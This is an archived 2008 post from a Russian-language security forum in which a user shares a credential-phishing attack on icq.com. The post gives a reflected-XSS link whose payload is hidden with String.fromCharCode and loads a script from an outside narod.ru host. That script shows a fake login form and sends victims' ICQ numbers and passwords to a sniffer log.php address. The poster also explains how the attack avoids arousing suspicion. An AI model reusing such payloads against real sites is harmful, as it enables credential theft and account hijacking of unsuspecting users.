ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Фэйк через Xss на Icq.com |
18.03.2008, 11:06
|
|
Участник форума
Регистрация: 08.10.2007
Сообщений: 259
Провел на форуме:
500748
Репутация:
137
|
|
Фэйк через Xss на Icq.com
Увидел тему на форуме "Хss на Icq.com" только вот смысла в ней нету. ведь имея куки юин не угониш.
в голову пришла идея использовать фэйк через хсс
вот пример такой реализации фэйка через хss (пассивную, активную жалко выкладывать)
Код:
http://www.icq.com/search/results.php?q=%3Cscrip%3Edocument.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,119,101,119,113,101,119,113,101,113,101,119,113,101,119,113,46,110,97,114,111,100,46,114,117,47,102,51,46,106,115,34,62,60,47,115,99,114,105,112,116,62))%3C/script%3E
пс: убрать все пробелы в ссылке
номер-пароль будут приходить на http://antichat.org/s/red/log.php
актуально под всеми браузерами
( правдо в лисе приходят штук так 20 отчотов вместо одного)
скрипт фэйка почти беспаливный после ввода данных в форму данные летят на снифер и потом пытаются залогинится с этими данными на www.icq.com так что жертва пропалить ничего неладного (типо переадресации на левый сайт, обычнно этот метод используют в таких фэйках) не должна
Последний раз редактировалось ZET36; 18.03.2008 в 11:09..
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Древовидный вид